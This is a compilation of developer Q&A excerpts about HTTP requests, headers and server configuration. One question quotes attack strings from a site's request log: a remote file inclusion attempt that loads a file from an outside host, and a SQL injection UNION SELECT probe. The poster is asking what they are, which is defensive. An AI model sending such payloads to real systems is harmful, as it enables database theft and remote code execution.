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Can a http server detect that a client has cancelled their request?

- by Nick Retallack

My web app must process and serve a lot of data to display certain pages. Sometimes, the user closes or refreshes a page while the server is still busy processing it. This means the server will continue to process data for several minutes only to send it to a client who is no longer listening. Is it possible to detect that the connection has been broken, and react to it? In this particular project, we're using Django and NginX, or Apache. I assumed this is possible because the Django development server appears to react to cancelled requests by printing Broken Pipe exceptions. I'd love to have it raise an exception that my application code could catch. Alternatively, I could register an unload event handler on the page in question, have it do a synchronous XHR requesting that the previous request from this user be cancelled, and do some kind of inter-process communication to make it so. Perhaps if the slower data processing were handed to another process that I could more easily identify and kill, without killing the responding process...

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C# web request with POST encoding question

- by rlandster

On the MSDN site there is an example of some C# code that shows how to make a web request with POST'ed data. Here is an excerpt of that code: WebRequest request = WebRequest.Create ("http://www.contoso.com/PostAccepter.aspx "); request.Method = "POST"; string postData = "This is a test that posts this string to a Web server."; byte[] byteArray = Encoding.UTF8.GetBytes (postData); // (*) request.ContentType = "application/x-www-form-urlencoded"; request.ContentLength = byteArray.Length; Stream dataStream = request.GetRequestStream (); dataStream.Write (byteArray, 0, byteArray.Length); dataStream.Close (); WebResponse response = request.GetResponse (); ...more... The line marked (*) is the line that puzzles me. Shouldn't the data be encoded using the UrlEncode function than UTF8? Isn't that what application/x-www-form-urlencoded implies?

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I get a 400 Bad Request error while using django-piston

- by Cheezo

Hello, I am trying to use Piston to provide REST support to Django. I have implemented my handlers as per the documentation provided . The problem is that i can "read" and "delete" my resource but i cannot "create" or "update". Each time i hit the relevant api i get a 400 Bad request Error. I have extended the Resource class for csrf by using this commonly available code snippet: class CsrfExemptResource(Resource): """A Custom Resource that is csrf exempt""" def init(self, handler, authentication=None): super(CsrfExemptResource, self).init(handler, authentication) self.csrf_exempt = getattr(self.handler, 'csrf_exempt', True) My class (code snippet) looks like this: user_resource = CsrfExemptResource(User) class User(BaseHandler): allowed_methods = ('GET', 'POST', 'PUT', 'DELETE') @require_extended def create(self, request): email = request.GET['email'] password = request.GET['password'] phoneNumber = request.GET['phoneNumber'] firstName = request.GET['firstName'] lastName = request.GET['lastName'] self.createNewUser(self, email,password,phoneNumber,firstName,lastName) return rc.CREATED Please let me know how can i get the create method to work using the POST operation?

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Does ASP.NET Make Request Scheduling Decisions Based Upon SessionID?

- by Mike Murphy

I know that a properly implemented SessionStateStoreProvider maintains an exclusive lock on session data for the duration of a request. However, considering that multiple requests could arrive simultaneously (e.g. via IFRAMEs) all but one would be able to make forward progress. All the other requests would block for a bit and reduce the number of worker threads available during that time. It seems if ASP.NET "peeked" at the session IDs on the requests early on, it could avoid running requests simultaneously that were on the same session. This would improve throughput under load for pages that didn't want to give up using IFRAMEs. This seems plausible enough that it might be true.

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Is this an injection attempt or a normal request?

- by CheeseConQueso

In cPanel's Analog Stats statistics module, I've noticed countless requests to connect to the following example: /?x=19&y=15 The numbers are random, but its always setting x and y variables. Another category of mysterious requests: /?id=http://nic.bupt.edu.cn/media/j1.txt?? There are other attempts at injections in the request log that have straight sql written into them as well. Example: /jobs/jobinfo.php?id=-999.9 UNION ALL SELECT 1,(SELECT concat(0x7e,0x27,count(table_name),0x27,0x7e) FROM information_schema.tables WHERE table_schema=0x73636363726F6F745F7075626C6963),3,4,5,6,7,8,9,10,11,12,13-- It looks like they are all reaching a 404, but I'm still wondering about the intent behind these. I know this is vague, but maybe someone knows that this is normal while using cPanel & phpMyAdmin services. Also, there was a search box installed on the site which could be the reason. Any suggestions as to what all these are?

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How To Disable Curl Debug Output in PHP

- by streetparade

I wrote a PHP CUrl Class, if i execute Methods which should return the Content, it returns at first the Headers and after that the Content. So i cant parse any XML Data. I need to Disable This Sample Output. HTTP/1.1 200 OK Date: Thu, 01 Apr 2010 20:11:58 GMT Server: Apache/2.2.9 (Debian) PHP/5.2.6-1+lenny4 with Suhosin-Patch mod_ssl/2.2.9 OpenSSL/0.9.8g X-Powered-By: PHP/5.2.6-1+lenny4 Set-Cookie: PHPSESSID=44beccf62f87546140d4a0bd24bd28b0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Transfer-Encoding: chunked Content-Type: application/xml Here is The Curl Class <?php class Test_Curl { protected $curl; protected $headers; protected $useragent; protected $url; protected $testkey; public function __construct() { } public function setUseraget($useragent) { $this->useragent = $useragent; return $this; } public function setApiKey($key) { $this->billomatApiKey = $key; } private function curlExecGeneral() { $result = curl_exec($this->curl); curl_close($this->curl); return $result; } private function curlInitGeneral($request) { $this->curl = curl_init($request); curl_setopt($this->curl, CURLOPT_HEADER, true); curl_setopt($this->curl, CURLOPT_HTTPHEADER, array("X-testkey: ".$this->testkey, "Content-Type: application/xml")); curl_setopt($this->curl, CURLOPT_RETURNTRANSFER, true); } public function get($request) { $this->curlInitGeneral($request); curl_setopt ($this->curl, CURLOPT_HTTPGET, true); return $this->curlExecGeneral(); } public function post($request, $xml) { $this->curlInitGeneral($request); curl_setopt ($this->curl, CURLOPT_POST, true); //set the Requestmethod to POST curl_setopt ($this->curl, CURLOPT_POSTFIELDS, $xml); //add the xml data to the Request return $this->curlExecGeneral(); } } ?>

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Lockless queue implementation ends up having a loop under stress

- by Fozi

I have lockless queues written in C in form of a linked list that contains requests from several threads posted to and handled in a single thread. After a few hours of stress I end up having the last request's next pointer pointing to itself, which creates an endless loop and locks up the handling thread. The application runs (and fails) on both Linux and Windows. I'm debugging on Windows, where my COMPARE_EXCHANGE_PTR maps to InterlockedCompareExchangePointer. This is the code that pushes a request to the head of the list, and is called from several threads: void push_request(struct request * volatile * root, struct request * request) { assert(request); do { request->next = *root; } while(COMPARE_EXCHANGE_PTR(root, request, request->next) != request->next); } This is the code that gets a request from the end of the list, and is only called by a single thread that is handling them: struct request * pop_request(struct request * volatile * root) { struct request * volatile * p; struct request * request; do { p = root; while(*p && (*p)->next) p = &(*p)->next; // <- loops here request = *p; } while(COMPARE_EXCHANGE_PTR(p, NULL, request) != request); assert(request->next == NULL); return request; } Note that I'm not using a tail pointer because I wanted to avoid the complication of having to deal with the tail pointer in push_request. However I suspect that the problem might be in the way I find the end of the list. There are several places that push a request into the queue, but they all look generaly like this: // device->requests is defined as struct request * volatile requests; struct request * request = malloc(sizeof(struct request)); if(request) { // fill out request fields push_request(&device->requests, request); sem_post(device->request_sem); } The code that handles the request is doing more than that, but in essence does this in a loop: if(sem_wait_timeout(device->request_sem, timeout) == sem_success) { struct request * request = pop_request(&device->requests); // handle request free(request); } I also just added a function that is checking the list for duplicates before and after each operation, but I'm afraid that this check will change the timing so that I will never encounter the point where it fails. (I'm waiting for it to break as I'm writing this.) When I break the hanging program the handler thread loops in pop_request at the marked position. I have a valid list of one or more requests and the last one's next pointer points to itself. The request queues are usually short, I've never seen more then 10, and only 1 and 3 the two times I could take a look at this failure in the debugger. I thought this through as much as I could and I came to the conclusion that I should never be able to end up with a loop in my list unless I push the same request twice. I'm quite sure that this never happens. I'm also fairly sure (although not completely) that it's not the ABA problem. I know that I might pop more than one request at the same time, but I believe this is irrelevant here, and I've never seen it happening. (I'll fix this as well) I thought long and hard about how I can break my function, but I don't see a way to end up with a loop. So the question is: Can someone see a way how this can break? Can someone prove that this can not? Eventually I will solve this (maybe by using a tail pointer or some other solution - locking would be a problem because the threads that post should not be locked, I do have a RW lock at hand though) but I would like to make sure that changing the list actually solves my problem (as opposed to makes it just less likely because of different timing).

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http request to cgi python script successful, but the script doesn't seem to run

- by chipChocolate.py

I have configured cgi scripts for my apache2 web server. Here is what I want to do: Client uploads the image to the server. (this already works) On success, I want to execute the python script to resize the image. I tried the following and the success function does execute but my python script does not seem to execute: Javascript code that sends the request: var input = document.getElementById('imageLoader'); imageName = input.value; var file = input.files[0]; if(file != undefined){ formData= new FormData(); console.log(formData.length); if(!!file.type.match(/image.*/)){ formData.append("image", file); $.ajax({ url: "upload.php", type: "POST", processData: false, contentType: false, success: function() { var input = document.getElementById('imageLoader'); imageName = input.value; var file = input.files[0]; formData = new FormData(); formData.append("filename", file); $.ajax({ url: "http://localhost/Main/cgi-bin/resize.py", type: "POST", data: formData, processData: false, contentType: false, success: function(data) { console.log(data); } }); // code continues... resize.py: #!/usr/bin/python import cgi import cgitb import Image cgitb.enable() data = cgi.FieldStorage() filename = data.getvalue("filename") im = Image.open("../JS/upload/" + filename) (width, height) = im.size maxWidth = 600 maxHeight = 400 if width > maxWidth: d = float(width) / maxWidth height = int(height / d) width = maxWidth if height > maxHeight: d = float(height) / maxHeight width = int(width / d) height = maxHeight size = (width, height) im = im.resize(size, Image.ANTIALIAS) im.save("../JS/upload/" + filename, quality=100) This is the apache2.conf: <Directory /var/www/html/Main/cgi-bin> AllowOverride None Options +ExecCGI SetHandler cgi-script AddHandler cgi-script .py .cgi Order allow,deny Allow from all </Directory> cgi-bin and python script file permissions: drwxrwxr-x 2 mou mou 4096 Aug 24 03:28 cgi-bin -rwxrwxrwx 1 mou mou 1673 Aug 24 03:28 resize.py Edit: Executing this code $.ajax({ url: "http://localhost/Main/cgi-bin/resize.py", type: "POST", data: formData, // formData = {"filename" : "the filename which was saved in a variable whie the image was uploaded"} processData: false, contentType: false, success: function(data) { alert(data); } }); it alerts the following: <body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> --> <body bgcolor="#f0f0f8"><font color="#f0f0f8" size="-5"> --> --> </font> </font> </font> </script> </object> </blockquote> </pre> </table> </table> </table> </table> </table> </font> </font> </font><body bgcolor="#f0f0f8"> <table width="100%" cellspacing=0 cellpadding=2 border=0 summary="heading"> <tr bgcolor="#6622aa"> <td valign=bottom> <br> <font color="#ffffff" face="helvetica, arial"> <br><big><big><strong><type 'exceptions.TypeError'></strong></big></big></font></td ><td align=right valign=bottom ><font color="#ffffff" face="helvetica, arial">Python 2.7.6: /usr/bin/python<br>Sun Aug 24 17:24:15 2014</font></td></tr></table> <p>A problem occurred in a Python script. Here is the sequence of function calls leading up to the error, in the order they occurred.</p> <table width="100%" cellspacing=0 cellpadding=0 border=0> <tr><td bgcolor="#d8bbff"><big> </big><a href="file:///var/www/html/Main/cgi-bin/resize.py">/var/www/html/Main/cgi-bin/resize.py</a> in <strong><module></strong>()</td></tr> <tr><td><font color="#909090"><tt>  <small>   10</small> <br> </tt></font></td></tr> <tr><td><font color="#909090"><tt>  <small>   11</small> filename = data.getvalue("filename")<br> </tt></font></td></tr> <tr><td bgcolor="#ffccee"><tt>=><small>   12</small> im = Image.open("../JS/upload/" + filename)<br> </tt></td></tr> <tr><td><font color="#909090"><tt>  <small>   13</small> <br> </tt></font></td></tr> <tr><td><font color="#909090"><tt>  <small>   14</small> (width, height) = im.size<br> </tt></font></td></tr> <tr><td><small><font color="#909090">im <em>undefined</em>, <strong>Image</strong> = <module 'Image' from '/usr/lib/python2.7/dist-packages/PILcompat/Image.pyc'>, Image.<strong>open</strong> = <function open>, <strong>filename</strong> = '<font color="#c040c0">\xff\xd8\xff\xe0\x00\x10</font>JFIF<font color="#c040c0">\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00</font>C<font color="#c040c0">\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06\x07\x07\x06\x08\n\x10\n\n\t\t\n\x14\x0e</font>...<font color="#c040c0">\x94\r\x17\x11</font>b<font color="#c040c0">\xcd\xdc\x1a\xfe\xf1\x05\x1b\x15\xd1</font>R<font color="#c040c0">\xce\xe9</font>*<font color="#c040c0">\xb5\x8e</font>b<font color="#c040c0">\x97\x82\x87</font>R<font color="#c040c0">\xf4\xaa</font>K<font color="#c040c0">\x83</font>6<font color="#c040c0">\xbf\xfb</font>0<font color="#c040c0">\xa0\xb6</font>8<font color="#c040c0">\xa9</font>C<font color="#c040c0">\x86\x8d\x96</font>n+E<font color="#c040c0">\xd3\x7f\x99\xff\xd9</font>'</font></small></td></tr></table> <table width="100%" cellspacing=0 cellpadding=0 border=0> <tr><td bgcolor="#d8bbff"><big> </big><a href="file:///usr/lib/python2.7/dist-packages/PIL/Image.py">/usr/lib/python2.7/dist-packages/PIL/Image.py</a> in <strong>open</strong>(fp='../JS/upload/<font color="#c040c0">\xff\xd8\xff\xe0\x00\x10</font>JFIF<font color="#c040c0">\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00</font>C<font color="#c040c0">\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06</font>...<font color="#c040c0">\x94\r\x17\x11</font>b<font color="#c040c0">\xcd\xdc\x1a\xfe\xf1\x05\x1b\x15\xd1</font>R<font color="#c040c0">\xce\xe9</font>*<font color="#c040c0">\xb5\x8e</font>b<font color="#c040c0">\x97\x82\x87</font>R<font color="#c040c0">\xf4\xaa</font>K<font color="#c040c0">\x83</font>6<font color="#c040c0">\xbf\xfb</font>0<font color="#c040c0">\xa0\xb6</font>8<font color="#c040c0">\xa9</font>C<font color="#c040c0">\x86\x8d\x96</font>n+E<font color="#c040c0">\xd3\x7f\x99\xff\xd9</font>', mode='r')</td></tr> <tr><td><font color="#909090"><tt>  <small> 1994</small>     if isPath(fp):<br> </tt></font></td></tr> <tr><td><font color="#909090"><tt>  <small> 1995</small>         filename = fp<br> </tt></font></td></tr> <tr><td bgcolor="#ffccee"><tt>=><small> 1996</small>         fp = builtins.open(fp, "rb")<br> </tt></td></tr> <tr><td><font color="#909090"><tt>  <small> 1997</small>     else:<br> </tt></font></td></tr> <tr><td><font color="#909090"><tt>  <small> 1998</small>         filename = ""<br> </tt></font></td></tr> <tr><td><small><font color="#909090"><strong>fp</strong> = '../JS/upload/<font color="#c040c0">\xff\xd8\xff\xe0\x00\x10</font>JFIF<font color="#c040c0">\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00\xff\xdb\x00</font>C<font color="#c040c0">\x00\x06\x04\x05\x06\x05\x04\x06\x06\x05\x06</font>...<font color="#c040c0">\x94\r\x17\x11</font>b<font color="#c040c0">\xcd\xdc\x1a\xfe\xf1\x05\x1b\x15\xd1</font>R<font color="#c040c0">\xce\xe9</font>*<font color="#c040c0">\xb5\x8e</font>b<font color="#c040c0">\x97\x82\x87</font>R<font color="#c040c0">\xf4\xaa</font>K<font color="#c040c0">\x83</font>6<font color="#c040c0">\xbf\xfb</font>0<font color="#c040c0">\xa0\xb6</font>8<font color="#c040c0">\xa9</font>C<font color="#c040c0">\x86\x8d\x96</font>n+E<font color="#c040c0">\xd3\x7f\x99\xff\xd9</font>', <em>global</em> <strong>builtins</strong> = <module '__builtin__' (built-in)>, builtins.<strong>open</strong> = <built-in function open></font></small></td></tr></table><p><strong><type 'exceptions.TypeError'></strong>: file() argument 1 must be encoded string without NULL bytes, not str <br><tt><small>     </small> </tt>args = ('file() argument 1 must be encoded string without NULL bytes, not str',) <br><tt><small>     </small> </tt>message = 'file() argument 1 must be encoded string without NULL bytes, not str'  Does this mean that the formData I am sending over is empty?

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IntegrationTests - A potentially dangerous Request.Path value was detected from the client

- by stacker

I get this error: A potentially dangerous Request.Path value was detected from the client (?). when this URI: http://www.site.com/%3f. How can I write a integration test for this type of errors. I want to test against all this erros: A potentially dangerous Request.Path value was detected from the client A potentially dangerous Request.Cookies value was detected from the client A potentially dangerous Request.Form value was detected from the client A potentially dangerous Request.QueryString value was detected from the client

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Using returned XML from an authorised HTTP request in vb.NET

- by Nathan

Hi, How can I use the returned XML from the reader in a xmltextreader? ' Create the web request request = DirectCast(WebRequest.Create("https://mobilevikings.com/api/1.0/rest/mobilevikings/sim_balance.xml"), HttpWebRequest) ' Add authentication to request request.Credentials = New NetworkCredential("username", "password") ' Get response response = DirectCast(request.GetResponse(), HttpWebResponse) ' Get the response stream into a reader reader = New StreamReader(response.GetResponseStream()) Thanks in advance, Nathan.

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IIS 7 returning 400 Bad Request on POST

- by xenolf

Greetings, i am trying to POST data in a MVC 3 application to a server running IIS 7 using jquery ajax. When i post normally to the server, everything works ok, just when i post with ajax the server returns a 400 Bad request. I already ran a trace on such a request but all i got from that was the following: ModuleName="ManagedPipelineHandler", Notification="EXECUTE_REQUEST_HANDLER", HttpStatus="400", HttpReason="Bad Request", HttpSubStatus="0", ErrorCode="The operation completed successfully. (0x0)", ConfigExceptionInfo="" Can anyone point me into the right direction to solve this issue? Thanks

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How to kill a single request in IIS?

- by Petter Brodin

I'm using IISPeek and can see that there's a single request that's hanging on a buggy page. I've fixed the bug so that others who open the page won't experience the problem, but the page is still active after almost an hour. I'd rather not stop the whole application as there are some important processes currently running. Via IISPeek I have the request number (9f0002008001238e) and clientIP. Could any of that be used to stop the ongoing request?

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wget hangs in http request sent awaiting response in some sites

- by gkr

Using Ubuntu 12.04. wget hangs in http request sent, awaiting response... in some sites. Browser's are not opening sites that are failed in wget. But in WinXP everything works. This works gkr@gkr-desktop:~/Documents/curl$ wget google.com --2012-06-12 21:29:37-- http://google.com/ Resolving google.com (google.com)... 74.125.236.174, 74.125.236.160, 74.125.236.161, ... Connecting to google.com (google.com)|74.125.236.174|:80... connected. HTTP request sent, awaiting response... 301 Moved Permanently Location: http://www.google.com/ [following] --2012-06-12 21:29:38-- http://www.google.com/ Resolving www.google.com (www.google.com)... 74.125.236.179, 74.125.236.180, 74.125.236.176, ... Connecting to www.google.com (www.google.com)|74.125.236.179|:80... connected. HTTP request sent, awaiting response... 302 Found Location: http://www.google.co.in/ [following] --2012-06-12 21:29:38-- http://www.google.co.in/ Resolving www.google.co.in (www.google.co.in)... 74.125.236.184, 74.125.236.191, 74.125.236.183, ... Connecting to www.google.co.in (www.google.co.in)|74.125.236.184|:80... connected. HTTP request sent, awaiting response... 200 OK Length: unspecified [text/html] Saving to: `index.html.3' [ ] 13,383 --.-K/s in 0.04s 2012-06-12 21:29:39 (308 KB/s) - `index.html.3' saved [13383] gkr@gkr-desktop:~/Documents/curl$ This site just stops/hangs in awaiting response. gkr@gkr-desktop:~/Documents/curl$ wget grooveshark.com --2012-06-12 21:27:29-- http://grooveshark.com/ Resolving grooveshark.com (grooveshark.com)... 8.20.213.76 Connecting to grooveshark.com (grooveshark.com)|8.20.213.76|:80... connected. HTTP request sent, awaiting response... ^C gkr@gkr-desktop:~/Documents/curl$ Thanks

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Web server send outgoing request to specific isp gateway

- by itsoft3g

I have a server with 5 ISP connections, i am using Apache web server and php engine to run my application. Outgoing request to different API now needs to be send through a specific ISP (or a different IPs). All my API request are sent using PHP and Web server. I am not sure that php will directly communicate with Gateway or it send request via web server. Please help me to setup this. Thanks in advance.

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mod_rewrite issue | Request exceeded the limit of 10 internal redirects

- by Chris Anarko Meow

ok what Im doing normally works but since my rule "includes" itself is giving me issues and can't find a solution after hours working on different options. I have a .htaccess with: RewriteEngine On RewriteBase / RewriteCond %{REQUEST_URI} !^/3.15.0/(.*) RewriteRule ^(.*)$ /3.15.0/$1 [L] this is for my software versions, I have a program that can request sometimes versions that are updated and in the server may be behind a couple version so I want to be able to say that whatever is comming in forward to the latest version that in this example is 3.15.0 /var/www/nameblabla/3.15.0 my .htaccess is on /var/www/nameblabla/.htaccess so the first Condition is to ignore request that already has the right path and version.. the second should be to grab all request and forward to 3.15.0... and of course not loose the path to the files I want from inside that should be the same. so far I can only get it to redirect to such directory but will loose the path and others I get the "Request exceeded the limit of 10 internal redirects" I guess this is because Im including the 3.15.0 path Any help or another way to do this with out mod_rewrite?

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Does a VPN certificate request need to be encrypted

- by Kernel Panic

We have a Cisco 3000 VPN concentrator and use the Cisco VPN client to generate certificate requests, which we then create/authenticate on our certificate server. When the help desk generates the request, they sometimes email that to me, then I generate the certificate on the server. Does the request need to be encrypted? Until the certificate gets generated is there something in the request itself that would need to remain secret? Thank you.

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Partial Client Certificate request for Apache HTTP

- by Joshua

I have an Apache HTTP Server with SSL enabled and requesting a Client Certificate. How do I set up Apache to only request the certificate when a user hits a certain part of the website? Example: /myapp/ should not request the cert /myapp2/ should request the cert Note: These applications are being served using the mod-jk

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How do I keep track of the session for each servlet request, until I use it? Singletons wont work?

- by corgrath

For each servlet request I get, I pass, perhaps, 10 methods before I am at where I need to check something in the session and I need the HttpSession. The only way I can get the HttpSession is from the HttpServletRequest, correct? How do I keep track of the session for each servlet request? Unfortuantly I cannot simple make a singleton (ex, SessionInformation.instance().getAttribute("name")) because that session would then be used over all requests. Is there a way to store the session globally for each request without having to pass it (or it's information) down all the methods just in case I need it?

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Add Access-Control-Allow-Origin to header in PHP

- by SANDeveloper

I am trying to workaround CORS restriction on a WebGL application. I have a Web Service which resolves URL and returns images. Since this web service is not CORS enabled, I can't use the returned images as textures. I was planning to: Write a PHP script to handle image requests Image requests would be sent through the query string as a url parameter The PHP Script will: Call the web service with the query string url Fetch the image response (web service returns a content-type:image response) Add the CORS header (Add Access-Control-Allow-Origin) to the response Send the response to the browser I tried to implement this using a variety of techniques including CURL, HTTPResponse, plain var_dump etc. but got stuck at some point in each. So I have 2 questions: Is the approach good enough? Considering the approach is good enough: I made the most progress with CURL. I could get the image header and data with: $ch = curl_init(); $url = $_GET["url"]; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:image/jpeg')); //Execute request $response = curl_exec($ch); //get the default response headers $headers = curl_getinfo($ch); //close connection curl_close($ch); But this doesn't actually change set the response content-type to image/jpeg. It dumps the header + response into a new response of content-type text/html and display the header and the image BLOB data in the browser. How do I get it to send the response in the format I want? Managed to get it working: $ch = curl_init(); $url = $_GET["url"]; curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, false); //Execute request $response = curl_exec($ch); //get the default response headers $headers = curl_getinfo($ch); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); header('Content-Type: image/jpeg'); header("Access-Control-Allow-Origin: *"); // header("Expires: Sat, 26 Jul 2017 05:00:00 GMT"); //close connection curl_close($ch); flush();

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Rewind request body stream

- by Despertar

I am re-implementing a request logger as Owin Middleware which logs the request url and body of all incoming requests. I am able to read the body, but if I do the body parameter in my controller is null. I'm guessing it's null because the stream position is at the end so there is nothing left to read when it tries to deserialize the body. I had a similar issue in a previous version of Web API but was able to set the Stream position back to 0. This particular stream throws a This stream does not support seek operations exception. In the most recent version of Web API 2.0 I could call Request.HttpContent.ReadAsStringAsync()inside my request logger, and the body would still arrive to the controller in tact. How can I rewind the stream after reading it? or How can I read the request body without consuming it? public class RequestLoggerMiddleware : OwinMiddleware { public RequestLoggerMiddleware(OwinMiddleware next) : base(next) { } public override Task Invoke(IOwinContext context) { return Task.Run(() => { string body = new StreamReader(context.Request.Body).ReadToEnd(); // log body context.Request.Body.Position = 0; // cannot set stream position back to 0 Console.WriteLine(context.Request.Body.CanSeek); // prints false this.Next.Invoke(context); }); } } public class SampleController : ApiController { public void Post(ModelClass body) { // body is now null if the middleware reads it } }

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Ws-Security headers using Metro

- by Bhushan

I have a web service which implements WS-Security but does not define a policy in the WSDL. I am able to consume this web service successfully using Axis 2 as client. I am trying to consume the same web service using Metro 2 but the wsse:security headers are not going. It works only if the service defines the security policy which is not under my control. I tested this by creating a sample web service and unless I define the policy my metro client never sends the wsse:security headers. Is there anything I am missing using Metro?

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HTML table headers always visible at top of window when viewing a large table

- by Craig McQueen

I would like to be able to "tweak" an HTML table's presentation to add a single feature: when scrolling down through the page so that the table is on the screen but the header rows are off-screen, I would like the headers to remain visible at the top of the viewing area. This would be conceptually like the "freeze panes" feature in Excel. However, an HTML page might contain several tables in it and I only would want it to happen for the table that is currently in-view, only while it is in-view. Note: I've seen one solution where the table data area is made scrollable while the headers do not scroll. That's not the solution I'm looking for.

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how to queue function behind ajax request

- by user1052335

What I'm asking is conceptual rather than why my code doesn't work. I'm trying to make a web app that displays content fetched from a database in a sequence, one at a time, and then waits for a response from the user before continuing to the next one. I'm working with javascript on the client side with the JQuery library and php on the server side. In theory, there's time while waiting for the user's input to fetch information from the server using an AJAX request and have it ready for the use by the time he clicks the button, but there's also a chance that such an AJAX request hasn't completed when he clicks the button. So I need something like pseudocode: display current information fetch next data point from the server in the background onUserInput { if ( ajax request complete) { present the information fetched in this request } else if (ajax request not complete) { wait for ajax request complete present information to user } My question is this: how does one implement this " else if (ajax request not complete) { wait for ajax request complete " part. I'm currently using JQuery for my AJAX needs. I'm somewhat new to working with AJAX, and I did search around, but I didn't find anything that seemed on point. I don't know what tools I should use for this. Some kind of queue maybe? I don't need to be spoon fed. I just need to know how this is done, using what tools or if my desired outcome would be accomplished in some other way entirely. Thanks.

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Modify headers in Pylons using Middleware

- by Anders

Hi all, I'm trying to modify a header using Middleware in Pylons to make my application RESTful, basically, if the user request "application/json" via GET that is what he get back. The question I have is, the variable headers is basically a long list. Looking something like this: [('Content-Type', 'text/html; charset=utf-8'), ('Pragma', 'no-cache'), ('Cache-Control', 'no-cache'), ('Content-Length','20'), ('Content-Encoding', 'gzip')] Now, I'm looking to just modify the value based on the request - but are these positions fixed? Will 'Content-Type' always be position headers[0][0]? Best Regards, Anders

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IIS website is sending multiple content-type headers for zip files

- by frankadelic

We have a problem with an IIS5 server. When certain users/browsers click to download .zip files, binary gibberish text sometimes renders in the browser window. The desired behavior is for the file to either download or open with the associated zip application. Initially, we suspected that the wrong content-type header was set on the file. The IIS tech confirmed that .zip files were being served by IIS with the mime-type "application/x-zip-compressed". However, an inspection of the HTTP packets using Wireshark reveals that requests for zip files return two Content-Type headers. Content-Type: text/html; charset=UTF-8 Content-Type: application/x-zip-compressed Any idea why IIS is sending two content-type headers? This doesn't happen for regular HTML or images files. It does happen with ZIP and PDF. Is there a particular place we can ask the IIS tech to look? Or is there a configuration file we can examine?

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